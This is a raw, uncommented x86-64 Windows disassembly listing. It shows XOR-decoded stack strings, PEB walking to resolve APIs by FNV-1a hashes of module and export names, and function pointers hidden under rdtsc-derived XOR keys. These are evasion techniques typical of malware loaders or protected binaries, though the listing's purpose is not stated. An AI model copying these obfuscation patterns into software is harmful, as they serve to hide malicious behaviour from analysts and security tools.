mov qword [rbp + 0x1520], r12
movabs r15, 0x49f01a2af1b445cc
mov qword [rbp + 0x1528], r15
movabs rax, 0x5e54ca49f08a64ce
mov qword [rbp + 0x360], rax
movabs rcx, 0x5a88930d07a70ccd
mov qword [rbp + 0x368], rcx
movabs rdx, 0x2c48a75b027dda0d
mov qword [rbp + 0x370], rdx
mov qword [rbp + 0x378], r15
movdqa xmm0, xmmword [rbp + 0x360]
pxor xmm0, xmmword [rbp + 0x1510]
movdqa xmmword [rbp + 0x360], xmm0
movdqa xmm1, xmmword [rbp + 0x370]
pxor xmm1, xmmword [rbp + 0x1520]
movdqa xmmword [rbp + 0x370], xmm1
movabs rcx, 0x5c14fb5e99850ec6
movabs rdx, 0x69827f5894d02ba9
movabs rdi, 0x8bb95f1c612e8cb5
movabs r9, 0x4d9f8f3d07e945d8
movabs r10, 0x5e68c33e761ebf0f
movabs rsi, 0x5344c64fa13d3e7d
movabs r11, 0xd36ee2d89df289d7
movabs rax, 0xe7bbf6ce0eb4f800
mov qword [rbp + 0xbf0], r14
mov qword [rbp + 0xbf8], r8
mov qword [rbp + 0xc00], r12
mov qword [rbp + 0xc08], r15
movabs r8, 0xf30b90adf19be8b1
mov qword [rbp + 0xc10], r8
movabs r13, 0xd68b6f2c511cafee
mov qword [rbp + 0xc18], r13
movabs r8, 0x5344c64fa13d3e53
mov qword [rbp + 0xc20], r8
mov qword [rbp + 0xc28], rax
mov qword [rbp + 0x500], rcx
mov qword [rbp + 0x508], r9
mov qword [rbp + 0x510], r10
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], r11
mov qword [rbp + 0x528], rdi
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rax
movdqa xmm0, xmmword [rbp + 0xbf0]
pxor xmm0, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x500], xmm0
movdqa xmm1, xmmword [rbp + 0x510]
pxor xmm1, xmmword [rbp + 0xc00]
movdqa xmmword [rbp + 0x510], xmm1
movdqa xmm0, xmmword [rbp + 0x520]
pxor xmm0, xmmword [rbp + 0xc10]
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmm1, xmmword [rbp + 0x530]
pxor xmm1, xmmword [rbp + 0xc20]
movdqa xmmword [rbp + 0x530], xmm1
xor r9d, r9d
lea r8, [rbp + 0x360]
lea rdx, [rbp + 0x500]
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0xa98]
call fcn.140072320
nop
lea rcx, [rbp + 0x1598]
call fcn.140072320
nop
lea rcx, [rbp + 0x1530]
call fcn.14002fce0
jmp 0x1400472e5
lea rcx, [rbp + 0xa98]
call fcn.1400745a0
mov rbx, rax
test rax, rax
jne 0x14004541c
lea rcx, [rbp + 0xa98]
call fcn.1400725d0
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1658], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045160
mov r9, qword [rbp + 0x1660]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140045157
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140045130
cmp r10d, esi
jne 0x1400452a7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x1400452af
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x1400452a7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x1400452a7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x1400451e7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x1400451c0
cmp r10d, r8d
je 0x1400451f9
test r11d, r11d
jne 0x1400451a0
mov rax, qword [rax]
jmp 0x1400450f0
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x1400452b1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400452b1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045264
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045240
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045296
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045270
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400450f0
xor ebx, ebx
movabs r11, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1310], r11
movabs r10, 0x35fae148278a2caa
mov qword [rbp + 0x1318], r10
movabs rax, 0x145aca49f08a64ce
mov qword [rbp + 0x200], rax
movabs rax, 0x35fa932755f8698a
mov qword [rbp + 0x208], rax
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x1310]
movdqa xmmword [rbp + 0x200], xmm0
movabs rax, 0x5713f66ddcb540ce
movabs rcx, 0x42da952642fd0ccd
movabs rdx, 0x5e0d877a6513b50d
movabs rdi, 0xd68b6f2c511cafee
movabs r8, 0x2c947549d1c62abe
movabs r9, 0xda3da89dc4b8c091
mov qword [rbp + 0xb20], r11
mov qword [rbp + 0xb28], r10
movabs r10, 0x2c48a75b027dda7f
mov qword [rbp + 0xb30], r10
movabs r10, 0x49f01a2af1b445cc
mov qword [rbp + 0xb38], r10
movabs r13, 0xf30b90adf19be8b1
mov qword [rbp + 0xb40], r13
mov qword [rbp + 0xb48], rdi
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x438], rcx
mov qword [rbp + 0x440], rdx
mov qword [rbp + 0x448], r8
mov qword [rbp + 0x450], r9
mov qword [rbp + 0x458], rdi
movdqa xmm0, xmmword [rbp + 0x430]
pxor xmm0, xmmword [rbp + 0xb20]
movdqa xmmword [rbp + 0x430], xmm0
movdqa xmm1, xmmword [rbp + 0x440]
pxor xmm1, xmmword [rbp + 0xb30]
movdqa xmmword [rbp + 0x440], xmm1
movdqa xmm0, xmmword [rbp + 0x450]
pxor xmm0, xmmword [rbp + 0xb40]
movdqa xmmword [rbp + 0x450], xmm0
mov r9d, 0x40010
lea r8, [rbp + 0x200]
lea rdx, [rbp + 0x430]
jmp 0x14004507e
call fcn.140064fc0
mov rdi, qword [rbp + 0x3b30]
mov rcx, qword [rdi + 8]
mov rdx, rbx
mov rcx, qword [rcx]
call fcn.1400046b0
test al, al
jne 0x14004579c
lea rcx, [rbp + 0xa98]
call fcn.1400725d0
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1668], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400454e0
mov r9, qword [rbp + 0x1670]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x1400454d7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x1400454b0
cmp r10d, esi
jne 0x140045627
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14004562f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140045627
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140045627
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140045567
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140045540
cmp r10d, r8d
je 0x140045579
test r11d, r11d
jne 0x140045520
mov rax, qword [rax]
jmp 0x140045470
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140045631
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045631
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400455e4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400455c0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045616
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400455f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045470
xor ebx, ebx
movabs r11, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1320], r11
movabs r10, 0x35fae148278a2caa
mov qword [rbp + 0x1328], r10
movabs rax, 0x145aca49f08a64ce
mov qword [rbp + 0x210], rax
movabs rax, 0x35fa932755f8698a
mov qword [rbp + 0x218], rax
movdqa xmm0, xmmword [rbp + 0x1320]
pxor xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x210], xmm0
movabs rax, 0x5713f66ddcb540ce
movabs rcx, 0x42da952642fd0ccd
movabs rdx, 0x69827f5894d02ba9
movabs rdi, 0xd68b6f2c511cafee
movabs r8, 0x7e60877a6513b50d
movabs r9, 0xf30bb9df9ee99ad4
mov qword [rbp + 0xb50], r11
mov qword [rbp + 0xb58], r10
movabs r10, 0x2c48a75b027dda7f
mov qword [rbp + 0xb60], r10
movabs r10, 0x49f01a2af1b445cc
mov qword [rbp + 0xb68], r10
movabs r13, 0xf30b90adf19be8b1
mov qword [rbp + 0xb70], r13
mov qword [rbp + 0xb78], rdi
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], rcx
mov qword [rbp + 0x410], r8
mov qword [rbp + 0x418], rdx
mov qword [rbp + 0x420], r9
mov qword [rbp + 0x428], rdi
movdqa xmm0, xmmword [rbp + 0x400]
pxor xmm0, xmmword [rbp + 0xb50]
movdqa xmmword [rbp + 0x400], xmm0
movdqa xmm1, xmmword [rbp + 0x410]
pxor xmm1, xmmword [rbp + 0xb60]
movdqa xmmword [rbp + 0x410], xmm1
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0xb70]
movdqa xmmword [rbp + 0x420], xmm0
mov r9d, 0x40010
lea r8, [rbp + 0x210]
lea rdx, [rbp + 0x400]
jmp 0x14004507e
mov rax, qword [rdi + 8]
mov qword [rbp + 0xa38], rax
lea rdx, [rbp + 0xa38]
lea rcx, [rbp + 0x1380]
call fcn.14005be90
nop
lea rcx, [rbp + 0x1380]
call fcn.140032250
mov rax, qword [rdi + 8]
mov qword [rbp + 0x1580], rax
lea rax, [rbp + 0x1530]
mov qword [rbp + 0x1588], rax
lea rax, [rbp + 0x1598]
mov qword [rbp + 0x1590], rax
lea rdx, [rbp + 0x1580]
lea rcx, [rbp + 0x1370]
call fcn.14005bf10
nop
lea rcx, [rbp + 0x1370]
call fcn.140032250
xorps xmm0, xmm0
movups xmmword [rbp + 0x2950], xmm0
movups xmmword [rbp + 0x2960], xmm0
movups xmmword [rbp + 0x2970], xmm0
mov rax, qword [0x1401c01c8]
cmp byte [rax + 0x3f8], 0
jne 0x140046192
nop word [rax + rax]
mov rax, qword [0x1401c04e0]
test rax, rax
jne 0x140045a76
xor esi, esi
mov edi, 0xc22b73de
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1330], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400458e0
mov r8, qword [rbp + 0x1338]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400458d7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400458b0
cmp r9d, esi
jne 0x140045a25
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140045a2d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140045a25
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140045a25
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140045968
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140045941
cmp r9d, edi
je 0x14004597a
test r10d, r10d
jne 0x140045920
mov rax, qword [rax]
jmp 0x140045870
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140045a2f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045a2f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400459e4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400459c0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045a14
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400459f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045870
xor ebx, ebx
mov qword [0x1401c04e0], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov r10, rax
mov qword [0x1401c04e8], rax
mov ecx, eax
cmp rax, rbx
je 0x140045a40
xor rax, rbx
mov qword [0x1401c04e0], rax
xor ecx, 0xc22b73de
mov dword [0x1401c04d8], ecx
jmp 0x140045a7d
mov r10, qword [0x1401c04e8]
xor r10, rax
mov eax, 1
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2950]
call r10
test eax, eax
je 0x140045f39
mov rax, qword [0x1401c04f8]
test rax, rax
jne 0x140045cd6
xor esi, esi
mov edi, 0x51b57fd4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1340], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045b40
mov r8, qword [rbp + 0x1348]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045b37
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045b10
cmp r9d, esi
jne 0x140045c85
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140045c8d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140045c85
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140045c85
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140045bc8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140045ba1
cmp r9d, edi
je 0x140045bda
test r10d, r10d
jne 0x140045b80
mov rax, qword [rax]
jmp 0x140045ad0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140045c8f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045c8f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045c44
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045c20
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045c74
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045c50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045ad0
xor ebx, ebx
mov qword [0x1401c04f8], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov rdx, rax
mov qword [0x1401c0500], rax
mov ecx, eax
cmp rax, rbx
je 0x140045ca0
xor rax, rbx
mov qword [0x1401c04f8], rax
xor ecx, 0x51b57fd4
mov dword [0x1401c04f0], ecx
jmp 0x140045cdd
mov rdx, qword [0x1401c0500]
xor rdx, rax
lea rcx, [rbp + 0x2950]
call rdx
mov rbx, qword [0x1401c0570]
test rbx, rbx
jne 0x140045f21
xor esi, esi
mov edi, 0xcd16687f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1350], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045d80
mov r8, qword [rbp + 0x1358]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045d77
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045d50
cmp r9d, esi
jne 0x140045ec5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140045ecd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140045ec5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140045ec5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140045e08
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140045de1
cmp r9d, edi
je 0x140045e1a
test r10d, r10d
jne 0x140045dc0
mov rax, qword [rax]
jmp 0x140045d11
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140045ecf
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045ecf
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045e84
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045e60
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045eb4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045e90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045d11
xor ebx, ebx
mov qword [0x1401c0570], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rdx, [rax + rax*4]
mov qword [0x1401c0578], rdx
cmp rdx, rbx
je 0x140045ee0
xor rbx, rdx
mov qword [0x1401c0570], rbx
mov eax, edx
xor eax, 0xcd16687f
mov dword [0x1401c0568], eax
xor rdx, rbx
lea rcx, [rbp + 0x2950]
call rdx
jmp 0x140046177
mov rdx, qword [0x1401c0578]
xor rdx, rbx
lea rcx, [rbp + 0x2950]
call rdx
jmp 0x140046177
mov rax, qword [0x1401c0558]
test rax, rax
jne 0x140046166
xor esi, esi
mov edi, 0x89eabb08
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1360], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045fd0
mov r8, qword [rbp + 0x1368]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045fc7
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045fa0
cmp r9d, esi
jne 0x140046115
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004611d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140046115
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140046115
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ecx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test cl, cl
je 0x140046058
movsx edx, cl
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140046031
cmp r9d, edi
je 0x14004606a
test r10d, r10d
jne 0x140046010
mov rax, qword [rax]
jmp 0x140045f61
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004611f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004611f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400460d4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400460b0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140046104
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400460e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045f61
xor ebx, ebx
mov qword [0x1401c0558], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov rcx, rax
mov qword [0x1401c0560], rax
mov edx, eax
cmp rax, rbx
je 0x140046130
xor rax, rbx
mov qword [0x1401c0558], rax
xor edx, 0x89eabb08
mov dword [0x1401c0550], edx
jmp 0x14004616d
mov rcx, qword [0x1401c0560]
xor rax, rcx
mov ecx, 0x32
call rax
mov rax, qword [0x1401c01c8]
cmp byte [rax + 0x3f8], 0
je 0x140045840
mov rdi, qword [rbp + 0x3b30]
mov rcx, qword [rdi + 8]
mov rcx, qword [rcx]
call fcn.140009070
mov r14, qword [0x1401c01c8]
lea rdx, [r14 + 0x200]
mov qword [rsp + 0x60], rdx
mov rax, qword gs:[0x30]
mov r8d, dword [rax + 0x48]
mov r9, qword [rsp + 0x60]
mov eax, dword [r9 + 4]
cmp r8d, eax
jne 0x1400461de
mov rax, qword [rsp + 0x60]
mov ecx, dword [rax]
inc ecx
mov rdi, qword [rsp + 0x60]
mov dword [rdi], ecx
jmp 0x140046226
mov rbx, qword [rsp + 0x60]
mov r10d, 1
nop dword [rax]
mov eax, dword [rbx + 8]
cmp eax, r10d
je 0x140046205
xor eax, eax
lock cmpxchg dword [rbx + 8], r10d
cmp eax, r10d
jne 0x14004621d
mov ecx, dword [rdx + 0xc]
mov eax, dword [rdx + 0xc]
inc eax
mov dword [rdx + 0xc], eax
cmp ecx, 0x1fffffff
jbe 0x140046219
int3
pause
jmp 0x1400461f0
mov dword [r9 + 4], r8d
mov rdi, qword [rsp + 0x60]
lea rsi, [r14 + 0x210]
mov rax, qword [rsi + 8]
sub rax, qword [rsi]
cmp rax, 8
jb 0x14004628b
lea rdx, [rbp + 0x19d0]
mov rcx, rsi
call fcn.1400521f0
mov rbx, qword [rax]
lea rdx, [rbp + 0xa30]
mov rcx, rsi
call fcn.14004eec0
cmp rbx, qword [rax]
je 0x14004627a
add rbx, 0xfffffffffffffff8
call qword [rbx]
lea rdx, [rbp + 0xa30]
mov rcx, rsi
call fcn.14004eec0
cmp rbx, qword [rax]
jne 0x140046260
mov rax, qword [rsi]
mov qword [rsi + 8], rax
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
nop
mov eax, dword [rdi]
test eax, eax
mov rax, qword [rsp + 0x60]
je 0x1400462a3
mov ecx, dword [rax]
dec ecx
mov rax, qword [rsp + 0x60]
mov dword [rax], ecx
